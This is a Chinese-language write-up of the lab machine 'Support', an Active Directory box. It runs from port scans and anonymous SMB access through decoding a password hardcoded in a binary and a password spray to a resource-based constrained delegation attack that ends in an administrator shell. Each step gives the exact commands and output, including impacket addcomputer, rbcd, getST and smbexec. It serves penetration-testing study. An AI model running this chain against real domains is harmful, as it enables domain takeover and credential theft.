Tracks-AD-Support

AD
13k words

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
└─$ sudo nmap -sU 10.10.11.174 --top-ports=200 --min-rate=2000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-24 01:46 EST
Nmap scan report for 10.10.11.174
Host is up (0.17s latency).
Not shown: 196 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap


└─$ sudo nmap -sS 10.10.11.174 -p- --min-rate=2000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-24 01:47 EST
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.19% done; ETC: 01:48 (0:01:23 remaining)
Nmap scan report for 10.10.11.174
Host is up (0.15s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49676/tcp open unknown
49678/tcp open unknown
49701/tcp open unknown

ldap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
└─$ ldapsearch -x -H ldap://10.10.11.174 -LLL -s base
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=support,DC=htb
ldapServiceName: support.htb:dc$@SUPPORT.HTB
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=support,DC=htb
serverName: CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configurat
ion,DC=support,DC=htb
schemaNamingContext: CN=Schema,CN=Configuration,DC=support,DC=htb
namingContexts: DC=support,DC=htb
namingContexts: CN=Configuration,DC=support,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=support,DC=htb
namingContexts: DC=DomainDnsZones,DC=support,DC=htb
namingContexts: DC=ForestDnsZones,DC=support,DC=htb
isSynchronized: TRUE
highestCommittedUSN: 86087
dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN
=Sites,CN=Configuration,DC=support,DC=htb
dnsHostName: dc.support.htb
defaultNamingContext: DC=support,DC=htb
currentTime: 20241224065106.0Z
configurationNamingContext: CN=Configuration,DC=support,DC=htb

to User

smb存在匿名访问

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ smbclient -L '\\10.10.11.174' -U anonymous -N

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

跑一下rid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
└─$ crackmapexec smb 10.10.11.174 -u anonymous -p '' --rid-brute=10000
SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.174 445 DC [+] support.htb\anonymous:
SMB 10.10.11.174 445 DC [+] Brute forcing RIDs
SMB 10.10.11.174 445 DC 498: SUPPORT\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.174 445 DC 500: SUPPORT\Administrator (SidTypeUser)
SMB 10.10.11.174 445 DC 501: SUPPORT\Guest (SidTypeUser)
SMB 10.10.11.174 445 DC 502: SUPPORT\krbtgt (SidTypeUser)
SMB 10.10.11.174 445 DC 512: SUPPORT\Domain Admins (SidTypeGroup)
SMB 10.10.11.174 445 DC 513: SUPPORT\Domain Users (SidTypeGroup)
SMB 10.10.11.174 445 DC 514: SUPPORT\Domain Guests (SidTypeGroup)
SMB 10.10.11.174 445 DC 515: SUPPORT\Domain Computers (SidTypeGroup)
SMB 10.10.11.174 445 DC 516: SUPPORT\Domain Controllers (SidTypeGroup)
SMB 10.10.11.174 445 DC 517: SUPPORT\Cert Publishers (SidTypeAlias)
SMB 10.10.11.174 445 DC 518: SUPPORT\Schema Admins (SidTypeGroup)
SMB 10.10.11.174 445 DC 519: SUPPORT\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.174 445 DC 520: SUPPORT\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.174 445 DC 521: SUPPORT\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.174 445 DC 522: SUPPORT\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.174 445 DC 525: SUPPORT\Protected Users (SidTypeGroup)
SMB 10.10.11.174 445 DC 526: SUPPORT\Key Admins (SidTypeGroup)
SMB 10.10.11.174 445 DC 527: SUPPORT\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.174 445 DC 553: SUPPORT\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.174 445 DC 571: SUPPORT\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.174 445 DC 572: SUPPORT\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.174 445 DC 1000: SUPPORT\DC$ (SidTypeUser)
SMB 10.10.11.174 445 DC 1101: SUPPORT\DnsAdmins (SidTypeAlias)
SMB 10.10.11.174 445 DC 1102: SUPPORT\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.174 445 DC 1103: SUPPORT\Shared Support Accounts (SidTypeGroup)
SMB 10.10.11.174 445 DC 1104: SUPPORT\ldap (SidTypeUser)
SMB 10.10.11.174 445 DC 1105: SUPPORT\support (SidTypeUser)
SMB 10.10.11.174 445 DC 1106: SUPPORT\smith.rosario (SidTypeUser)
SMB 10.10.11.174 445 DC 1107: SUPPORT\hernandez.stanley (SidTypeUser)
SMB 10.10.11.174 445 DC 1108: SUPPORT\wilson.shelby (SidTypeUser)
SMB 10.10.11.174 445 DC 1109: SUPPORT\anderson.damian (SidTypeUser)
SMB 10.10.11.174 445 DC 1110: SUPPORT\thomas.raphael (SidTypeUser)
SMB 10.10.11.174 445 DC 1111: SUPPORT\levine.leopoldo (SidTypeUser)
SMB 10.10.11.174 445 DC 1112: SUPPORT\raven.clifton (SidTypeUser)
SMB 10.10.11.174 445 DC 1113: SUPPORT\bardot.mary (SidTypeUser)
SMB 10.10.11.174 445 DC 1114: SUPPORT\cromwell.gerard (SidTypeUser)
SMB 10.10.11.174 445 DC 1115: SUPPORT\monroe.david (SidTypeUser)
SMB 10.10.11.174 445 DC 1116: SUPPORT\west.laura (SidTypeUser)
SMB 10.10.11.174 445 DC 1117: SUPPORT\langley.lucy (SidTypeUser)
SMB 10.10.11.174 445 DC 1118: SUPPORT\daughtler.mabel (SidTypeUser)
SMB 10.10.11.174 445 DC 1119: SUPPORT\stoll.rachelle (SidTypeUser)
SMB 10.10.11.174 445 DC 1120: SUPPORT\ford.victoria (SidTypeUser)
SMB 10.10.11.174 445 DC 2601: SUPPORT\MANAGEMENT$ (SidTypeUser)

在smb中有一个Userinfo的压缩包,其中Userinfo.exe丢到反编译里看了下

他看起来会发送一个ldap请求,但是其中也包含了一个密码

alt text

看下protected类

alt text

password过了下简单的key和223的亦或就可以用了

1
2
3
4
5
6
7
8
public static string getPassword()
{
byte[] numArray = Convert.FromBase64String(Protected.enc_password);
byte[] bytes = numArray;
for (int index = 0; index < numArray.Length; ++index)
bytes[index] = (byte) ((int) numArray[index] ^ (int) Protected.key[index % Protected.key.Length] ^ 223);
return Encoding.Default.GetString(bytes);
}

简单写了个脚本解码

1
2
3
4
5
6
7
8
9
10
11
12
import base64

enc = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")

key = "armando"

print(len(enc))

for i in range(len(enc)):
print(chr(int(hex(enc[i]),16) ^ ord(key[i % len(key)]) ^ 223),end="")

print('nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz')

最后输出密码nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

虽然他userinfo用的ldap这个用户来发起登录的,但还是去撞一下密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ kerbrute passwordspray ./userlist 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --dc 10.10.11.174 -d support.htb

__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/24/24 - Ronnie Flathers @ropnop

2024/12/24 03:22:16 > Using KDC(s):
2024/12/24 03:22:16 > 10.10.11.174:88

2024/12/24 03:22:17 > [+] VALID LOGIN: ldap@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
2024/12/24 03:22:17 > Done! Tested 24 logins (1 successes) in 1.137 seconds

虽然最后就还是这一个用户(笑

然后是这个机器我觉得相对比较坑的地方,需要这个用户看ldap信息,而他把密码藏在一个用户的info属性里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20241225054417.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful

memberOf: CN=Shared Support Accoun

尽管遛狗的时候我觉得这个用户是有那么点可疑,但没想到他会直接把密码塞到info属性里,而且这个属性非常少见,通常塞密码的话是塞desc里,这也就导致这台的rpcclient是看不到密码的,妈的好过分。

get User

get Root

这里也有有点坑,不知道为啥我能看到0xdf创建的一台机器,而且还有一个莫名其妙的用户,可能其他人也在打这台,导致我看到那台莫名出现的机器愣住了,以为要先打那一台,幸好有看了下support用户对dc机器有直接编辑属性的权限才没打歪。

alt text

这里因为support用户所在的组对dc有Allgeneric,所以我们可以修改他的msDS-AllowedToActOnBehalfOfOtherIdentity属性,来通过rbcd拿到他的administrator,如果还有其他的方式欢迎您来一同交流

看下support创建机器账户的权限名额

1
2
3
4
5
└─$ crackmapexec ldap -u support -p 'Ironside47pleasure40Watchful' -M maq 10.10.11.174
SMB 10.10.11.174 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.174 389 DC [+] support.htb\support:Ironside47pleasure40Watchful
MAQ 10.10.11.174 389 DC [*] Getting the MachineAccountQuota
MAQ 10.10.11.174 389 DC MachineAccountQuota: 10

创建一个机器账户

1
2
3
4
└─$ impacket-addcomputer -dc-ip 10.10.11.174 -computer-name TESTA$ -computer-pass 'Password@123' support.htb/support:Ironside47pleasure40Watchful
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Successfully added machine account TESTA$ with password Password@123.

修改dc的msDS-AllowedToActOnBehalfOfOtherIdentity属性来指向我们刚创建的机器

1
2
3
4
5
6
7
8
9
10
└─$ impacket-rbcd -dc-ip 10.10.11.174 -action write -delegate-to 'dc$' -delegate-from 'TESTA$' support.htb/support:Ironside47pleasure40Watchful 
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Accounts allowed to act on behalf of other identity:
[*] 0xdfFakeComputer$ (S-1-5-21-1677581083-3380853377-188903654-5601)
[*] Delegation rights modified successfully!
[*] TESTA$ can now impersonate users on dc$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] 0xdfFakeComputer$ (S-1-5-21-1677581083-3380853377-188903654-5601)
[*] TESTA$ (S-1-5-21-1677581083-3380853377-188903654-5602)

拿一下tgs

1
2
3
4
5
6
7
8
└─$ impacket-getST -dc-ip 10.10.11.174 -spn 'cifs/dc.support.htb' -impersonate administrator 'support.htb/TESTA:Password@123'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

直接smbexec

1
2
3
4
5
6
└─$ impacket-smbexec -k -dc-ip 10.10.11.174 support.htb/administrator@dc.support.htb -no-pass                                
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>type c:\users\administrator\desktop\root.txt
887b536fc743130d91a70a989344689f

get root


感觉比较坑的是ldap那,不过确实看desc备注看习惯了会本能的忽略掉其他属性,比如这里的info;之后搜点要仔细搜了,最近可能是冬天了有点莫名的懒,可恶啊